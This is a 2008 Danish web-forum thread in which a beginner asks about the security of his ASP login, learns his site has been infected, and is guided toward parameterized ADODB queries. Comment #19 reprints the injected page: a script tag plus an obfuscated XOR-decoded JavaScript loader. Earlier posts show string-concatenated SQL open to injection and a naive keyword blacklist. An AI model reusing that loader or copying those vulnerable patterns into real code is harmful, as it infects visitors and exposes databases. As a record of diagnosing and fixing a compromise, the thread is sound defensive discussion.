Avatar billede c-lund Nybegynder
06. juni 2008 - 13:51 Der er 40 kommentarer

Sikkerhed på asp login

Hej

Jeg har lavet et login system, og ville høre hvor sikkert det egenligt er. Det fungere således:
En bruger logger ind ved at taster informationer i en formular. Der bliver herefter tjekket op på om de indtastede informationer findes i en database. Hvis de gør, bliver der sat ind autogenereret kode på 15 cifre som gemmes i en session variable. Herefter kan jeg beskytte mine sider med denne variable.

Men hvor sikkert er det?
Hvordan hacker man det?
Hvordan kan man evt. lave et mere sikkert login?

På forhånd tak
Avatar billede erikjacobsen Ekspert
06. juni 2008 - 14:07 #1
Ikke nok til nationalbanken ;)

Du skal sikre dig mod sql-injection.
Du er sikkert åben for cookie-hijacking.
ASP på et webhotel kan være åbent for andre på serveren.

Det er inderligt ligegyldigt med den autogenerede kode - det er alt rigeligt: session("loggetind")="ja"
Avatar billede erikjacobsen Ekspert
06. juni 2008 - 14:07 #2
Og selvfølgelig: XSS, Cross Site Scripting kan du være åben for.
Avatar billede c-lund Nybegynder
06. juni 2008 - 14:40 #3
SQL-Injection skulle jeg være sikret imod.

Hvad er Cookie-hijacking?
Hvilken betydning kan det have hvis ASP er åbent for andre på serveren?
Avatar billede frand Nybegynder
06. juni 2008 - 14:56 #4
cookie/session hijacking: http://en.wikipedia.org/wiki/Session_hijacking

Hvis andre på webhotellet kan fifle rundt med dine asp-script, så sætter kun fantasien grænser for, hvad de kan gøre
Avatar billede erikjacobsen Ekspert
06. juni 2008 - 14:58 #5
Og selvfølgelig aflytning, hvis du ikke bruger https://... så det er "umuligt".
Avatar billede c-lund Nybegynder
16. juni 2008 - 10:37 #6
Hvordan kan de være kommet ind?
Avatar billede c-lund Nybegynder
16. juni 2008 - 10:50 #7
Jeg har lige kigget i nogle log filer, og der tyder det på at den sidste der er logget ind, er mig i fredag. Så det kunne godt se ud som om de ikke er logget ind via login filen. Har i nogle forslag til hvordan de så er kommet ind?
Avatar billede frand Nybegynder
16. juni 2008 - 10:55 #8
sql injektion er muligt alle steder, ikke kun ved login. Så hvis du har sider med sql, som kan tilgås uden at være logget ind, så skal de også sikres.
Avatar billede c-lund Nybegynder
16. juni 2008 - 12:23 #9
Er der nogle muligheder for at de kan have indsat denne linie <script src=--adresse--/b.js></script> via sql-injection, via det ovenstående login script, i denne tabel
strSQL = "Insert into CMSLoginLog (LoginDato,Ipadresse,UserId,Adresse) values('" & Dato & "', '" & Request("REMOTE_ADDR") & "', '" & UserId & "', '" & Adresse & "')"
            conn.execute(strSQL)
Avatar billede erikjacobsen Ekspert
16. juni 2008 - 12:35 #10
Hvis de har gjort det, er det jo nok muligt. Det plejer bare at være forkert programmering.
Avatar billede c-lund Nybegynder
16. juni 2008 - 12:56 #11
Jeg ved ikke om det er muligt. Scriptet stå ovenfor, er det programmeret forkert?
Avatar billede erikjacobsen Ekspert
16. juni 2008 - 13:01 #12
Hvis du vil have en udtalelse om din programmering, skal du vise os dine programmer og scripts. Og hvis de fylder for meget, gider vi nok ikke ;)

frand har netop fortalt dig "sql injektion er muligt alle steder, ikke kun ved login"
Avatar billede c-lund Nybegynder
16. juni 2008 - 13:19 #13
kan man via SQL få udskrevet en liste over alle Tabelnavne i en database, samt hvilke felter der er i hver tabel?
Avatar billede w13 Novice
16. juni 2008 - 13:23 #14
Ja det kan man. Der skal dog lidt til for at gøre det i Access, som regel.
Avatar billede erikjacobsen Ekspert
16. juni 2008 - 13:24 #15
Forøvrigt c-lund - hvad med at lukke dit site helt, så længe det er inficeret. Du linker direkte til at andre kan blive inficeret - det er squ ikke særlig flinkt.
Avatar billede frand Nybegynder
16. juni 2008 - 13:25 #16
Ja. Man kan mange ting. Hvad man helt præcist kan, afhænger af databasen og hvordan den er sat op.
Avatar billede c-lund Nybegynder
16. juni 2008 - 13:34 #17
Der blev lagt en back-up af sitet ud i morges, og hele back-end delen samt login muligheder er blevet fjernet. så sitet fejler på nuværende tidspunkt ikke noget.
Avatar billede c-lund Nybegynder
16. juni 2008 - 13:36 #18
Please correct me if i'm wrong
Avatar billede erikjacobsen Ekspert
16. juni 2008 - 13:42 #19
Din forside indeholder lige nu:


<html>
<body>
<script src="b.js" type="text/javascript" language="JavaScript"></script>
<script>var data=unescape("n%01%11%00%1B%02%06r%3E3%3C5%27357op%183%243%011%20%3B%22%26plr6%3D1%27%3F7%3C%26%7C%25%20%3B%267zun%3B4%203%3F7r%21%201op%3A%26%26%22h%7D%7D%24%3B%223%21%3D%2693%7C1%3D%3F%7D%3B%3C%7C%22%3A%22m36%24ogc%60%60t%243%3Eod603c6%600pr%21%26%2B%3E7op6%3B%21%22%3E3%2Bh%3C%3D%3C7pln%7D%3B4%203%3F7lu%7Birn%7D%01%11%00%1B%02%06l");var dec="";for(idx=0;idx<data.length;idx++){dec+=String.fromCharCode(data.charCodeAt(idx)^82);}document.write(unescape(dec));</script>
</body>
</html>
Avatar billede c-lund Nybegynder
16. juni 2008 - 13:55 #20
Det kan jeg ikke se nogle stedet. snakker vi om det site der hedder www.tag-eksperten.dk
Avatar billede erikjacobsen Ekspert
16. juni 2008 - 13:59 #21
Og det gør jeg så også nu - øv.
Avatar billede c-lund Nybegynder
16. juni 2008 - 14:38 #22
arh på den måde. Ja det tænkte jeg ikke på :S
Avatar billede erikjacobsen Ekspert
16. juni 2008 - 14:46 #23
En anden ting. I koden fra 10:37:13 har du en variabel: Adresse
som jeg ikke kan se hvor kommer fra.
Avatar billede c-lund Nybegynder
16. juni 2008 - 15:23 #24
Adresse er bare = Request.ServerVariables("SERVER_NAME")

Jeg gjorde lige scriptet lidt kortere, før jeg postede det
Avatar billede snowball Novice
16. juni 2008 - 15:31 #25
Kommentarer fra c-lund og erikjacobsen med det pågældende link er blevet fjernet.

c-lund: Skriv evt. din kildekode igen, men uden det pågældende link.

Snowball / Admin
Avatar billede erikjacobsen Ekspert
16. juni 2008 - 15:38 #26
Ok, men det er som sagt slet ikke sikkert, at det er via loginsiden, det er sket. Men også ting fra Request.ServerVariables bør selvfølgelig behandles rigtigt inden brug i en sql-sætning, li'som i betydningen: altid.
Avatar billede erikjacobsen Ekspert
16. juni 2008 - 15:39 #27
(og tak Michael)
Avatar billede c-lund Nybegynder
16. juni 2008 - 16:05 #28
Nej det er højst sansynligt ikke. Danm der er en del timers arbejde i at få rettet koden, så det ikke kan lade sig gøre. I har vel ikke nogle link, der på dansk fortæller, hvordan man sikre sig i mod SQL-injection.
Avatar billede erikjacobsen Ekspert
16. juni 2008 - 16:53 #29
Jeg vil altid anbefale brug af parameters - det kan man godt i gammeldags ASP. Prøv Google.
Avatar billede c-lund Nybegynder
01. juli 2008 - 08:23 #30
Syntes jeg har svært ved at finde nogle konkrete eksempler. Kan du give mig et standard eksemple. Så har jeg noget at kigge efter.
Avatar billede erikjacobsen Ekspert
02. juli 2008 - 10:36 #31
Ok, indrømmet, det er måske svært at finde på Google. Forklaringen er måske, at der ikke er nogen, der bruger gammeldags ASP i dag, og dem, der alligevel gør det, bruger bare det de lærte for 10 år siden, fra de elendige lærebøger.

Men det er noget i retning af (ganske utestet):

Set cmd = Server.CreateObject ("ADODB.Command")
cmd.ActiveConnection = ".......connectionstring....."
cmd.CommandText = "SELECT * FROM tabel WHERE navn=?"
cmd.Prepared = true
cmd.Parameters.Append cmd.CreateParameter("param1", 200, 1, 255, "peter") 'adVarChar
Set rs = cmd.Execute

Der skulle være nogle flere ting at søge på, når du har et eksempel.

Hvorfor bruge parameters (prepared statements)? Fordi man lader systemet om at håndtere tekniske detaljer, og fordi man kan være helt sikker på ikke at få SQL-injection.

Parameters er det eneste man gør i dag - burde gøre i hvert fald. Enhver kunde bør afvise software, der ikke gør. Der burde måske endda være en lov ... ;)
Avatar billede c-lund Nybegynder
02. juli 2008 - 12:54 #32
Ok, tak for eksemplet :)

Lige nu har jeg lavet nedenstående funktion. Den bliver kørt på alle:
-Request.form
-Request.querystring
-Request

Burde det ikke være godt nok?

Function killChars(strWords)
    strWords = Replace(strWords, "'", " &#39;")
           
    badChars = array("select", "drop", ";", "--", "insert", "update", "delete", "xp_", "NULL", "carry return", "new line")
    newChars = strWords
       
    for i = 0 to uBound(badChars)
        newChars = replace(newChars, badChars(i), "")
    next
   
    killChars = newChars
End Function
Avatar billede erikjacobsen Ekspert
02. juli 2008 - 13:25 #33
Nej. Rent brugermæssigt forhindere du folk i at skrive hvad de vil, og du tager ikke hensyn til trusler du ikke kender.

Alt det er intet problem, såsnart man bruger parameters. Det er egentlig så simpelt.

Men nu skal jeg ikke blande mig i hvad du gør - er du tilfreds med din løsning, så er det ok med mig (sålænge jeg ikke har noget med dit site at gøre).
Avatar billede c-lund Nybegynder
04. juli 2008 - 13:02 #34
Nu er jeg så småt gået i gang med bruge parameters, men har lidt problemer.

Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=SQLOLEDB.1;Server=server;database=navn;uid=user;pwd=pass;network=DBMSSOCN"

strSQLLogin = "Select * from Live_Medlemmer where Id = ?"
set cmd = Server.CreateObject("ADODB.Command")
set cmd.ActiveConnection = conn
cmd.CommandText = strSQLLogin
cmd.CommandType = adCmdText
cmd.Parameter.Append cmd.CreateParameter("@Id", adInt, adParamInput, 4, Session("MedId"))
set rsLogin = cmd.Execute()

Men jeg for denne fejl: Object doesn't support this property or method: 'cmd.Parameter'
hvad skyldes det?
Avatar billede c-lund Nybegynder
04. juli 2008 - 13:04 #35
Og hvad betyder alle de tinge der står i denne sætning
("@Id", adInt, adParamInput, 4, Session("MedId"))
Avatar billede c-lund Nybegynder
04. juli 2008 - 13:34 #36
Nu fik jeg det til at virke med denne:
strSQLLogin = "Select * from Live_Medlemmer where Id = ?"
set cmd = Server.CreateObject("ADODB.Command")
set cmd.ActiveConnection = Conn
cmd.CommandText = strSQLLogin
cmd.CommandType = adCmdText
cmd.Parameters.Append cmd.CreateParameter("param1", 200, 1, 255, Session("MedId"))
set rsLogin = cmd.Execute()

Men kunne rigtig godt tænke mig at vide, hvad denne gør
cmd.Parameters.Append cmd.CreateParameter("param1", 200, 1, 255, Session("MedId"))

og om det er det samme der skal stå uanset om man laver Select, Insert into, Update, Delete
Avatar billede erikjacobsen Ekspert
04. juli 2008 - 14:17 #37
Ja, det er det samme, men tallene angiver hvad type parametren er. Det skal du finde.
Avatar billede HenrikSjang Nybegynder
14. juli 2008 - 22:58 #38
Som erikjacobsen skriver, så er tallene rent faktisk "koder" som fortæller om parametren er et tal eller en streng eller andet, samt om parametren er en input parameter, eller en output.

Tag et kig på denne side, den forklarer rimelig overskueligt hvordan man bruger CreateParameter, og hvad de forskellige parametre betyder: http://www.w3schools.com/ado/met_comm_createparameter.asp
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Kurser inden for grundlæggende programmering

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester